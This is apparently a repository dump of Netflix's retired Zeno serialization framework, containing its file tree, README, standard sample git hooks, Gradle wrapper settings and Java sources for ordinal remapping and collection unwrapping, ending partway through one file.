{"type": "file", "name": "AddressRefactor.java"}, {"type": "file", "name": "AddressRefactorSerializer.java"}, {"type": "file", "name": "AddressSerializer.java"}, {"type": "file", "name": "CitySerializer.java"}]}, {"type": "file", "name": "BasicSerializationExample.java"}, {"type": "file", "name": "DiffExample.java"}, {"type": "directory", "name": "framework", "children": [{"type": "file", "name": "IntSumFramework.java"}, {"type": "file", "name": "IntSumFrameworkExample.java"}, {"type": "file", "name": "IntSumFrameworkSerializer.java"}, {"type": "file", "name": "IntSumRecord.java"}]}, {"type": "file", "name": "HeapFriendlyHashMapExample.java"}, {"type": "file", "name": "JSONSerializationExample.java"}, {"type": "file", "name": "MultipleImageSerializationExample.java"}, {"type": "file", "name": "PhasedHeapFriendlyHashMapExample.java"}, {"type": "directory", "name": "pojos", "children": [{"type": "file", "name": "A.java"}, {"type": "file", "name": "B.java"}, {"type": "file", "name": "C.java"}, {"type": "file", "name": "D.java"}]}, {"type": "directory", "name": "serializers", "children": [{"type": "file", "name": "ASerializer.java"}, {"type": "file", "name": "BSerializer.java"}, {"type": "file", "name": "BWithStringReferenceSerializer.java"}, {"type": "file", "name": "CSerializer.java"}, {"type": "file", "name": "DSerializer.java"}, {"type": "file", "name": "ExampleSerializerFactory.java"}]}]}]}]}]}]}]}, {"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zeno", "children": [{"type": "directory", "name": "diff", "children": [{"type": "file", "name": "DiffByteArray.java"}, {"type": "file", "name": "DiffFrameworkSerializer.java"}, {"type": "file", "name": "DiffHeader.java"}, {"type": "file", "name": "DiffInstruction.java"}, {"type": "file", "name": "DiffOperation.java"}, {"type": "file", "name": "DiffPropertyPath.java"}, {"type": "file", "name": "DiffRecord.java"}, {"type": "file", "name": "DiffRecordValueListMap.java"}, {"type": "file", "name": "DiffReport.java"}, {"type": "file", "name": "DiffReportGenerationException.java"}, {"type": "file", "name": "DiffSerializationFramework.java"}, {"type": "directory", "name": "history", "children": [{"type": "file", "name": "DiffHistoricalState.java"}, {"type": "file", "name": "DiffHistoricalTypeState.java"}, {"type": "file", "name": "DiffHistoryDataState.java"}, {"type": "file", "name": "DiffHistoryTracker.java"}, {"type": "file", "name": "DiffObjectHistoricalTransition.java"}]}, {"type": "file", "name": "TypeDiff.java"}, {"type": "file", "name": "TypeDiffInstruction.java"}, {"type": "file", "name": "TypeDiffOperation.java"}]}, {"type": "directory", "name": "fastblob", "children": [{"type": "file", "name": "FastBlobFrameworkDeserializer.java"}, {"type": "file", "name": "FastBlobFrameworkSerializer.java"}, {"type": "file", "name": "FastBlobHeapFriendlyClientFrameworkSerializer.java"}, {"type": "file", "name": "FastBlobImageUtils.java"}, {"type": "file", "name": "FastBlobStateEngine.java"}, {"type": "directory", "name": "io", "children": [{"type": "file", "name": "FastBlobHeader.java"}, {"type": "file", "name": "FastBlobHeaderReader.java"}, {"type": "file", "name": "FastBlobHeaderWriter.java"}, {"type": "file", "name": "FastBlobMalformedDataException.java"}, {"type": "file", "name": "FastBlobReader.java"}, {"type": "file", "name": "FastBlobReaderEventHandler.java"}, {"type": "file", "name": "FastBlobWriter.java"}, {"type": "file", "name": "ZenoFastBlobHeaderReader.java"}, {"type": "file", "name": "ZenoFastBlobHeaderWriter.java"}]}, {"type": "file", "name": "OrdinalMapping.java"}, {"type": "directory", "name": "record", "children": [{"type": "file", "name": "ByteData.java"}, {"type": "file", "name": "ByteDataBuffer.java"}, {"type": "file", "name": "FastBlobDeserializationRecord.java"}, {"type": "file", "name": "FastBlobSerializationRecord.java"}, {"type": "directory", "name": "schema", "children": [{"type": "file", "name": "FastBlobSchema.java"}, {"type": "file", "name": "FieldDefinition.java"}, {"type": "file", "name": "MapFieldDefinition.java"}, {"type": "file", "name": "TypedFieldDefinition.java"}]}, {"type": "file", "name": "SegmentedByteArray.java"}, {"type": "file", "name": "SegmentedByteArrayHasher.java"}, {"type": "file", "name": "StreamingByteData.java"}, {"type": "file", "name": "VarInt.java"}]}, {"type": "directory", "name": "state", "children": [{"type": "file", "name": "ByteArrayOrdinalMap.java"}, {"type": "directory", "name": "compressed", "children": [{"type": "file", "name": "ByteSequenceRetainer.java"}, {"type": "file", "name": "FastBlobTypeByteSequenceState.java"}]}, {"type": "file", "name": "FastBlobTypeDeserializationState.java"}, {"type": "file", "name": "FastBlobTypeSerializationState.java"}, {"type": "file", "name": "FreeOrdinalTracker.java"}, {"type": "file", "name": "ObjectIdentityOrdinalMap.java"}, {"type": "file", "name": "OrdinalRemapper.java"}, {"type": "file", "name": "ThreadSafeBitSet.java"}, {"type": "file", "name": "TypeDeserializationStateIterator.java"}, {"type": "file", "name": "TypeDeserializationStateListener.java"}, {"type": "file", "name": "WeakObjectOrdinalMap.java"}]}, {"type": "file", "name": "StateOrdinalMapping.java"}]}, {"type": "directory", "name": "flatblob", "children": [{"type": "file", "name": "FlatBlobDeserializationRecord.java"}, {"type": "file", "name": "FlatBlobEvictionFrameworkSerializer.java"}, {"type": "file", "name": "FlatBlobEvictor.java"}, {"type": "file", "name": "FlatBlobFrameworkDeserializer.java"}, {"type": "file", "name": "FlatBlobFrameworkSerializer.java"}, {"type": "file", "name": "FlatBlobSerializationFramework.java"}, {"type": "file", "name": "FlatBlobSerializationRecord.java"}, {"type": "file", "name": "FlatBlobTypeCache.java"}]}, {"type": "directory", "name": "genericobject", "children": [{"type": "file", "name": "DiffHtmlCollectionLocker.java"}, {"type": "file", "name": "DiffHtmlGenerator.java"}, {"type": "file", "name": "GenericObject.java"}, {"type": "file", "name": "GenericObjectFrameworkSerializer.java"}, {"type": "file", "name": "GenericObjectSerializationFramework.java"}, {"type": "file", "name": "JaccardMatrixPairwiseMatcher.java"}]}, {"type": "directory", "name": "hash", "children": [{"type": "file", "name": "HashAlgorithm.java"}, {"type": "file", "name": "HashFrameworkSerializer.java"}, {"type": "file", "name": "HashGenericRecord.java"}, {"type": "file", "name": "HashGenericRecordSerializers.java"}, {"type": "file", "name": "HashOrderDependent.java"}, {"type": "file", "name": "HashOrderIndependent.java"}, {"type": "file", "name": "HashSerializationFramework.java"}]}, {"type": "directory", "name": "json", "children": [{"type": "file", "name": "JsonFrameworkDeserializer.java"}, {"type": "file", "name": "JsonFrameworkSerializer.java"}, {"type": "file", "name": "JsonReadGenericRecord.java"}, {"type": "file", "name": "JsonSerializationFramework.java"}, {"type": "file", "name": "JsonWriteGenericRecord.java"}]}, {"type": "directory", "name": "serializer", "children": [{"type": "directory", "name": "common", "children": [{"type": "file", "name": "BooleanSerializer.java"}, {"type": "file", "name": "ByteArraySerializer.java"}, {"type": "file", "name": "CollectionSerializer.java"}, {"type": "file", "name": "DateSerializer.java"}, {"type": "file", "name": "DoubleSerializer.java"}, {"type": "file", "name": "EnumSerializer.java"}, {"type": "file", "name": "FloatSerializer.java"}, {"type": "file", "name": "IntegerSerializer.java"}, {"type": "file", "name": "ListSerializer.java"}, {"type": "file", "name": "LongSerializer.java"}, {"type": "file", "name": "MapSerializer.java"}, {"type": "file", "name": "SetSerializer.java"}, {"type": "file", "name": "SortedMapSerializer.java"}, {"type": "file", "name": "StringSerializer.java"}]}, {"type": "file", "name": "FrameworkDeserializer.java"}, {"type": "file", "name": "FrameworkSerializer.java"}, {"type": "file", "name": "NFDeserializationRecord.java"}, {"type": "file", "name": "NFSerializationRecord.java"}, {"type": "file", "name": "NFTypeSerializer.java"}, {"type": "file", "name": "SerializationFramework.java"}, {"type": "file", "name": "SerializerFactory.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "directory", "name": "collections", "children": [{"type": "directory", "name": "algorithms", "children": [{"type": "file", "name": "ArrayQuickSort.java"}, {"type": "file", "name": "BinarySearch.java"}, {"type": "file", "name": "Sortable.java"}]}, {"type": "directory", "name": "builder", "children": [{"type": "file", "name": "Builders.java"}, {"type": "file", "name": "ListBuilder.java"}, {"type": "file", "name": "MapBuilder.java"}, {"type": "file", "name": "SetBuilder.java"}]}, {"type": "file", "name": "CollectionImplementation.java"}, {"type": "file", "name": "Comparators.java"}, {"type": "directory", "name": "heapfriendly", "children": [{"type": "file", "name": "AbstractHeapFriendlyMap.java"}, {"type": "file", "name": "HeapFriendlyDerivableKeyHashMap.java"}, {"type": "file", "name": "HeapFriendlyHashMap.java"}, {"type": "file", "name": "HeapFriendlyMapArrayRecycler.java"}, {"type": "file", "name": "PhasedHeapFriendlyHashMap.java"}]}, {"type": "directory", "name": "impl", "children": [{"type": "file", "name": "AbstractArrayMap.java"}, {"type": "file", "name": "AbstractArraySet.java"}, {"type": "file", "name": "AbstractArraySortedMap.java"}, {"type": "file", "name": "BinarySearchArrayHashMap.java"}, {"type": "file", "name": "BinarySearchArrayIndexedHashMap.java"}, {"type": "file", "name": "BinarySearchArrayIndexedSet.java"}, {"type": "file", "name": "BinarySearchArrayMap.java"}, {"type": "file", "name": "BinarySearchArraySet.java"}, {"type": "file", "name": "ImmutableArrayList.java"}, {"type": "file", "name": "NetflixCollections.java"}, {"type": "file", "name": "OpenAddressing.java"}, {"type": "file", "name": "OpenAddressingArraySet.java"}, {"type": "file", "name": "OpenAddressingHashMap.java"}, {"type": "file", "name": "OpenAddressingSortedHashMap.java"}, {"type": "file", "name": "SingletonSortedMap.java"}, {"type": "file", "name": "Utils.java"}]}, {"type": "file", "name": "MinimizedUnmodifiableCollections.java"}]}, {"type": "file", "name": "CollectionUnwrapper.java"}, {"type": "file", "name": "EnsureSuccessSimultaneousExecutor.java"}, {"type": "file", "name": "PrimitiveObjectIdentifier.java"}, {"type": "file", "name": "SimultaneousExecutor.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "zeno", "children": [{"type": "directory", "name": "diff", "children": [{"type": "file", "name": "ASerializer.java"}, {"type": "file", "name": "BSerializer.java"}, {"type": "file", "name": "DiffFrameworkTest.java"}, {"type": "file", "name": "DiffHtmlGeneratorTest.java"}, {"type": "file", "name": "DiffPropertyPathTest.java"}, {"type": "directory", "name": "history", "children": [{"type": "file", "name": "DiffHistoryAbstractTest.java"}, {"type": "file", "name": "DiffHistoryDataStateTest.java"}, {"type": "file", "name": "DiffHistoryTrackerGroupedKeyTest.java"}, {"type": "file", "name": "DiffHistoryTrackerUniqueKeyTest.java"}]}, {"type": "file", "name": "JaccardMatrixPairwiseMatcherTest.java"}, {"type": "file", "name": "TypeA.java"}, {"type": "file", "name": "TypeB.java"}]}, {"type": "directory", "name": "fastblob", "children": [{"type": "file", "name": "BlobSerializationAbstract.java"}, {"type": "file", "name": "BlobSerializationGenericFrameworkAbstract.java"}, {"type": "file", "name": "CompatibilitySerializerTest.java"}, {"type": "file", "name": "FastBlobEngineTest.java"}, {"type": "directory", "name": "io", "children": [{"type": "file", "name": "FastBlobWriterTest.java"}]}, {"type": "file", "name": "NFTypeSerializerTest.java"}, {"type": "file", "name": "OrdinalRemapperTest.java"}, {"type": "directory", "name": "restorescenarios", "children": [{"type": "file", "name": "AState1Serializer.java"}, {"type": "file", "name": "AState2Serializer.java"}, {"type": "file", "name": "BSerializer.java"}, {"type": "file", "name": "RestoreServerAfterSchemaChangeTest.java"}, {"type": "file", "name": "TypeAState1.java"}, {"type": "file", "name": "TypeAState2.java"}, {"type": "file", "name": "TypeB.java"}, {"type": "file", "name": "TypeC.java"}, {"type": "file", "name": "TypeCSerializer.java"}]}, {"type": "file", "name": "SerializerDeltaTest.java"}, {"type": "file", "name": "SerializerSnapshotTest.java"}, {"type": "directory", "name": "state", "children": [{"type": "file", "name": "ByteArrayOrdinalMapTest.java"}, {"type": "file", "name": "ByteDataBufferTest.java"}, {"type": "directory", "name": "compressed", "children": [{"type": "file", "name": "ByteSequenceRetainerTest.java"}]}, {"type": "file", "name": "FastBlobSchemaTest.java"}, {"type": "file", "name": "FastBlobSingleRecordSerializationTest.java"}, {"type": "file", "name": "FastBlobStateEngineReserializationTest.java"}, {"type": "file", "name": "FastBlobTypeSerializationStateTest.java"}, {"type": "file", "name": "FreeOrdinalTrackerTest.java"}, {"type": "file", "name": "PojoWithAllTypes.java"}, {"type": "file", "name": "SegmentedByteArrayTest.java"}, {"type": "file", "name": "StreamingByteDataTest.java"}, {"type": "file", "name": "TypeDeserializationStateIteratorTest.java"}, {"type": "file", "name": "TypeDeserializationStateListenerTest.java"}, {"type": "file", "name": "WeakObjectOrdinalMapTest.java"}]}, {"type": "file", "name": "UndefinedNullCollectionElementSerializerTest.java"}]}, {"type": "directory", "name": "flatblob", "children": [{"type": "file", "name": "FlatBlobTest.java"}]}, {"type": "directory", "name": "json", "children": [{"type": "file", "name": "JsonSerializationTest.java"}]}, {"type": "directory", "name": "testpojos", "children": [{"type": "file", "name": "TypeA.java"}, {"type": "file", "name": "TypeASerializer.java"}, {"type": "file", "name": "TypeB.java"}, {"type": "file", "name": "TypeBSerializer.java"}, {"type": "file", "name": "TypeC.java"}, {"type": "file", "name": "TypeCSerializer.java"}, {"type": "file", "name": "TypeD.java"}, {"type": "file", "name": "TypeDSerializer.java"}, {"type": "file", "name": "TypeE.java"}, {"type": "file", "name": "TypeESerializer.java"}, {"type": "file", "name": "TypeF.java"}, {"type": "file", "name": "TypeFSerializer.java"}, {"type": "file", "name": "TypeG.java"}, {"type": "file", "name": "TypeGSerializer.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "directory", "name": "collections", "children": [{"type": "directory", "name": "algorithms", "children": [{"type": "file", "name": "ArrayQuickSortTest.java"}]}, {"type": "directory", "name": "heapfriendly", "children": [{"type": "file", "name": "HeapFriendlyDerivableKeyHashMapTest.java"}, {"type": "file", "name": "HeapFriendlyHashMapTest.java"}, {"type": "file", "name": "HeapFriendlyMapRandomizedTest.java"}, {"type": "file", "name": "OpenAddressingHashMapTest.java"}, {"type": "file", "name": "PhasedHeapFriendlyHashMapTest.java"}]}, {"type": "directory", "name": "impl", "children": [{"type": "file", "name": "OpenAddressArraySetTest.java"}, {"type": "file", "name": "OpenAddressHashMapTest.java"}]}]}, {"type": "file", "name": "CollectionUnwrapperTest.java"}]}]}]}]}]}]}]}]} | Netflix Zeno
============
![NetflixOSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/zeno.svg)
_Zeno is now retired. See [hollow](http://github.com/Netflix/hollow) for Netflix's replacement technology._
Some applications have data sets with extremely low latency tolerance. For Netflix, this applies to metadata about our movies and TV shows. We store this data directly in RAM on the servers responsible for powering the Netflix experience.
Netflix leans heavily on the Zeno framework to manage, transport, and keep updated these gigabytes of constantly-changing data replicated across thousands of servers. Zeno:
* Creates compact serialized representations of a set of Java Objects.
* Automatically detects and removes duplication in a data set.
* Automatically produces a minimal set of changes required to keep data up-to-date.
* Is efficient about resource impact when deserializing data.
* Provides powerful tools to debug data sets.
* Defines a pattern for separation between data model and data operations, increasing the agility of development teams.
Zeno is highly optimized. See [The Netflix Tech Blog](http://techblog.netflix.com/2013/12/announcing-zeno-netflixs-in-memory-data.html) for a description of how Netflix has benefited from the development and application of the Zeno framework.
Artifacts
---------
Zeno binaries are published to Maven Central.
|GroupID/Org|ArtifactID/Name|Latest Version|
|-----------|---------------|--------------|
|com.netflix.zeno|netflix-zeno|2.6|
In a Maven .pom file:
...
<dependency>
<groupId>com.netflix.zeno</groupId>
<artifactId>netflix-zeno</artifactId>
<version>2.6</version>
</dependency>
...
Documentation
-------------
Documentation is available on the [wiki](https://github.com/Netflix/zeno/wiki).
Build
-----
Zeno is built via Gradle (www.gradle.org). To build from the command line:
./gradlew build
Support
-------
Zeno is actively used and maintained by the Metadata Infrastructure team at Netflix. Issues will be addressed in a timely manner. Support can be obtained through the [Zeno google group](https://groups.google.com/group/netflix-zeno)
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "#Fri Dec 05 13:24:06 PST 2014\ndistributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-2.2.1-bin.zip\n", "src\\main\\java\\com\\netflix\\zeno\\fastblob\\OrdinalMapping.java": "/*\n *\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.zeno.fastblob;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic class OrdinalMapping {\n\n Map<String, StateOrdinalMapping> stateOrdinalMappings;\n\n public OrdinalMapping() {\n stateOrdinalMappings = new ConcurrentHashMap<String, StateOrdinalMapping>();\n }\n\n public StateOrdinalMapping createStateOrdinalMapping(String type, int maxOriginalOrdinal) {\n StateOrdinalMapping stateOrdinalMapping = new StateOrdinalMapping(maxOriginalOrdinal);\n stateOrdinalMappings.put(type, stateOrdinalMapping);\n return stateOrdinalMapping;\n }\n\n public StateOrdinalMapping getStateOrdinalMapping(String type) {\n return stateOrdinalMappings.get(type);\n }\n\n}\n", "src\\main\\java\\com\\netflix\\zeno\\fastblob\\StateOrdinalMapping.java": "/*\n *\n * Copyright 2014 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.zeno.fastblob;\n\npublic class StateOrdinalMapping {\n\n private final int ordinalMap[];\n\n public StateOrdinalMapping(int maxOriginalOrdinal) {\n ordinalMap = new int[maxOriginalOrdinal + 1];\n }\n\n public void setMappedOrdinal(int originalOrdinal, int mappedOrdinal) {\n ordinalMap[originalOrdinal] = mappedOrdinal;\n }\n\n public int getMappedOrdinal(int originalOrdinal) {\n return ordinalMap[originalOrdinal];\n }\n}\n", "src\\main\\java\\com\\netflix\\zeno\\fastblob\\state\\OrdinalRemapper.java": "package com.netflix.zeno.fastblob.state;\n\nimport com.netflix.zeno.fastblob.OrdinalMapping;\nimport com.netflix.zeno.fastblob.record.ByteData;\nimport com.netflix.zeno.fastblob.record.ByteDataBuffer;\nimport com.netflix.zeno.fastblob.record.FastBlobDeserializationRecord;\nimport com.netflix.zeno.fastblob.record.SegmentedByteArray;\nimport com.netflix.zeno.fastblob.record.VarInt;\nimport com.netflix.zeno.fastblob.record.schema.FastBlobSchema;\nimport com.netflix.zeno.fastblob.record.schema.FieldDefinition;\nimport com.netflix.zeno.fastblob.record.schema.MapFieldDefinition;\nimport com.netflix.zeno.fastblob.record.schema.TypedFieldDefinition;\n\nimport java.util.Arrays;\n\npublic class OrdinalRemapper {\n\n private final ByteDataBuffer scratch;\n private final OrdinalMapping ordinalMapping;\n\n public OrdinalRemapper(OrdinalMapping ordinalMapping) {\n this.ordinalMapping = ordinalMapping;\n this.scratch = new ByteDataBuffer();\n }\n\n public void remapOrdinals(FastBlobDeserializationRecord rec, ByteDataBuffer toBuffer) {\n FastBlobSchema schema = rec.getSchema();\n ByteData fromSpace = rec.getByteData();\n\n long currentPointerPosition = rec.position();\n\n for(int i=0;i<schema.numFields();i++) {\n FieldDefinition fieldDef = schema.getFieldDefinition(i);\n int length = rec.getFieldLength(schema.getFieldName(i));\n\n TypedFieldDefinition typedFieldDef;\n int ordinal;\n int mappedOrdinal;\n\n switch(fieldDef.getFieldType()) {\n case OBJECT:\n typedFieldDef = (TypedFieldDefinition)fieldDef;\n\n if(VarInt.readVNull(fromSpace, currentPointerPosition)) {\n VarInt.writeVNull(toBuffer);\n currentPointerPosition++;\n } else {\n ordinal = VarInt.readVInt(fromSpace, currentPointerPosition);\n currentPointerPosition += VarInt.sizeOfVInt(ordinal);\n\n mappedOrdinal = getMappedOrdinal(typedFieldDef.getSubType(), ordinal);\n\n VarInt.writeVInt(toBuffer, mappedOrdinal);\n }\n break;\n case SET:\n typedFieldDef = (TypedFieldDefinition)fieldDef;\n currentPointerPosition = copySetWithRemappedOrdinals(fromSpace, currentPointerPosition, toBuffer, typedFieldDef.getSubType());\n break;\n case LIST:\n typedFieldDef = (TypedFieldDefinition)fieldDef;\n\n currentPointerPosition = copyListWithRemappedOrdinals(toBuffer, fromSpace, currentPointerPosition, typedFieldDef.getSubType());\n\n break;\n case MAP:\n MapFieldDefinition mapFieldDef = (MapFieldDefinition)fieldDef;\n currentPointerPosition = copyMapWithRemappedOrdinals(toBuffer, fromSpace, currentPointerPosition, mapFieldDef);\n\n break;\n default:\n if(fromSpace instanceof SegmentedByteArray)\n toBuffer.copyFrom(((SegmentedByteArray)fromSpace), currentPointerPosition, length);\n else\n toBuffer.copyFrom(fromSpace, currentPointerPosition, length);\n\n currentPointerPosition += length;\n }\n }\n }\n\n private long copyListWithRemappedOrdinals(ByteDataBuffer toSpace, ByteData fromSpace, long pointer, String elementType) {\n int sizeOfData = VarInt.readVInt(fromSpace, pointer);\n pointer += VarInt.sizeOfVInt(sizeOfData);\n int readBytesCounter = 0;\n\n while(readBytesCounter < sizeOfData) {\n if(VarInt.readVNull(fromSpace, pointer)) {\n VarInt.writeVNull(scratch);\n pointer++;\n readBytesCounter++;\n } else {\n int ordinal = VarInt.readVInt(fromSpace, pointer);\n int sizeOfOrdinal = VarInt.sizeOfVInt(ordinal);\n pointer += sizeOfOrdinal;\n readBytesCounter += sizeOfOrdinal;\n\n int mappedOrdinal = getMappedOrdinal(elementType, ordinal);\n VarInt.writeVInt(scratch, mappedOrdinal);\n }\n }\n\n VarInt.writeVInt(toSpace, (int)scratch.length());\n toSpace.copyFrom(scratch.getUnderlyingArray(), 0L, (int)scratch.length());\n scratch.reset();\n return pointer;\n }\n\n private long copySetWithRemappedOrdinals(ByteData fromSpace, long pointer, ByteDataBuffer toSpace, String elementType) {\n int sizeOfData = VarInt.readVInt(fromSpace, pointer);\n pointer += VarInt.sizeOfVInt(sizeOfData);\n int readBytesCounter = 0;\n int readOrdinalsCounter = 0;\n int currentOrdinal = 0;\n\n int mappedOrdinals[] = new int[sizeOfData];\n\n while(readBytesCounter < sizeOfData) {\n if(VarInt.readVNull(fromSpace, pointer)) {\n mappedOrdinals[readOrdinalsCounter++] = -1;\n pointer++;\n readBytesCounter++;\n } else {\n int ordinalDelta = VarInt.readVInt(fromSpace, pointer);\n int sizeOfOrdinalDelta = VarInt.sizeOfVInt(ordinalDelta);\n pointer += sizeOfOrdinalDelta;\n readBytesCounter += sizeOfOrdinalDelta;\n currentOrdinal += ordinalDelta;\n int mappedOrdinal = getMappedOrdinal(elementType, currentOrdinal);\n mappedOrdinals[readOrdinalsCounter++] = mappedOrdinal;\n }\n }\n\n Arrays.sort(mappedOrdinals, 0, readOrdinalsCounter);\n currentOrdinal = 0;\n\n for(int j=0;j<readOrdinalsCounter;j++) {\n if(mappedOrdinals[j] == -1) {\n VarInt.writeVNull(scratch);\n } else {\n VarInt.writeVInt(scratch, mappedOrdinals[j] - currentOrdinal);\n currentOrdinal = mappedOrdinals[j];\n }\n }\n\n VarInt.writeVInt(toSpace, (int)scratch.length());\n toSpace.copyFrom(scratch.getUnderlyingArray(), 0L, (int)scratch.length());\n scratch.reset();\n\n return pointer;\n }\n\n private long copyMapWithRemappedOrdinals(ByteDataBuffer toSpace, ByteData fromSpace, long pointer, MapFieldDefinition mapFieldDef) {\n int sizeOfData = VarInt.readVInt(fromSpace, pointer);\n long mapEntries[] = new long[sizeOfData / 2];\n pointer += VarInt.sizeOfVInt(sizeOfData);\n\n int readBytesCounter = 0;\n int currentValueOrdinal = 0;\n int readMapEntries = 0;\n\n\n while(readBytesCounter < sizeOfData) {\n int keyOrdinal = -1;\n int sizeOfKeyOrdinal = 1;\n if(VarInt.readVNull(fromSpace, pointer)) {\n pointer++;\n } else {\n keyOrdinal = VarInt.readVInt(fromSpace, pointer);\n sizeOfKeyOrdinal = VarInt.sizeOfVInt(keyOrdinal);\n pointer += sizeOfKeyOrdinal;\n }\n\n int valueOrdinalDelta = -1;\n int sizeOfValueOrdinalDelta = 1;\n if(VarInt.readVNull(fromSpace, pointer)) {\n pointer++;\n } else {\n valueOrdinalDelta = VarInt.readVInt(fromSpace, pointer);\n sizeOfValueOrdinalDelta = VarInt.sizeOfVInt(valueOrdinalDelta);\n pointer += sizeOfValueOrdinalDelta;\n currentValueOrdinal += valueOrdinalDelta;\n }\n\n\n int mappedKeyOrdinal = keyOrdinal == -1 ? -1 : getMappedOrdinal(mapFieldDef.getKeyType(), keyOrdinal);\n int mappedValueOrdinal = valueOrdinalDelta == -1 ? -1 : getMappedOrdinal(mapFieldDef.getValueType(), currentValueOrdinal);\n\n mapEntries[readMapEntries++] = mappedValueOrdinal == -1 ? 0xFFFFFFFF00000000L | mappedKeyOrdinal : ((long)mappedValueOrdinal << 32) | (mappedKeyOrdinal & 0xFFFFFFFFL);\n\n readBytesCounter += sizeOfKeyOrdinal + sizeOfValueOrdinalDelta;\n }\n\n Arrays.sort(mapEntries, 0, readMapEntries);\n\n currentValueOrdinal = 0;\n\n for(int j=0;j<readMapEntries;j++) {\n int valueOrdinal = (int)(mapEntries[j] >> 32);\n int keyOrdinal = (int)(mapEntries[j] & 0xFFFFFFFFL);\n\n if(keyOrdinal == -1)\n VarInt.writeVNull(scratch);\n else\n VarInt.writeVInt(scratch, keyOrdinal);\n\n if(valueOrdinal == -1) {\n VarInt.writeVNull(scratch);\n } else {\n VarInt.writeVInt(scratch, valueOrdinal - currentValueOrdinal);\n currentValueOrdinal = valueOrdinal;\n }\n }\n\n VarInt.writeVInt(toSpace, (int)scratch.length());\n toSpace.copyFrom(scratch.getUnderlyingArray(), 0L, (int)scratch.length());\n scratch.reset();\n return pointer;\n }\n\n private int getMappedOrdinal(String type, int fromOrdinal) {\n return ordinalMapping.getStateOrdinalMapping(type).getMappedOrdinal(fromOrdinal);\n }\n}", "src\\main\\java\\com\\netflix\\zeno\\util\\CollectionUnwrapper.java": "/*\n *\n * Copyright 2013 Netflix, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\npackage com.netflix.zeno.util;\n\n\nimport com.netflix.zeno.util.collections.MinimizedUnmodifiableCollections;\n\nimport java.lang.reflect.Field;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.SortedMap;\n\n/**\n*\n* Unwraps collections, which have been wrapped with Unmodifiable wrappers.<p/>\n*\n* If comparing two Collections for \"sameness\" (==), it is useful to compare the \"unwrapped\" instances\n* of these Objects, to avoid false negatives when comparing a wrapped vs an unwrapped instance.\n*\n* @author dkoszewnik\n*\n*/\npublic class CollectionUnwrapper {\n\n private static final Class<?> unmodifiableCollectionClass = getInnerClass(Collections.class, \"UnmodifiableCollection\");\n private static final Field unmodifiableCollectionField = getField(unmodifiableCollectionClass, \"c\");\n\n private static final Class<?> unmodifiableMapClass = getInnerClass(Collections.class, \"UnmodifiableMap\");\n private static final Field unmodifiableMapField = getField(unmodifiableMapClass, \"m\");\n\n private static Class<?> getInnerClass(Class<?> fromClass, String className) {\n for(Class<?> c : fromClass.getDeclaredClasses()) {\n if(c.getSimpleName().equals(className)) {\n return c;\n }\n }\n return null;\n }\n\n private static Field getField(Class<?> fromClass, String fieldName) {\n try {\n Field f = fromClass.getDeclaredField(fieldName);\n f.setAccessible(true);\n return f;\n } catch (Exception e) {\n throw new RuntimeException(e);\n }\n }\n\n @SuppressWarnings(\"unchecked\")\n public static <T> T unwrap(Object obj) {\n if(obj instanceof Collection) {\n if(((Collection<?>)obj).isEmpty()) {\n if(obj instanceof List)\n return (T) Collections.EMPTY_LIST;\n if(obj instanceof Set)\n return (T) Collections.EMPTY_SET;\n }\n\n if(unmodifiableCollectionClass.isInstance(obj)) {\n return unwrap(obj, unmodifiableCollectionClass, unmodifiableCollectionField);\n }\n } else if(obj instanceof Map) {\n 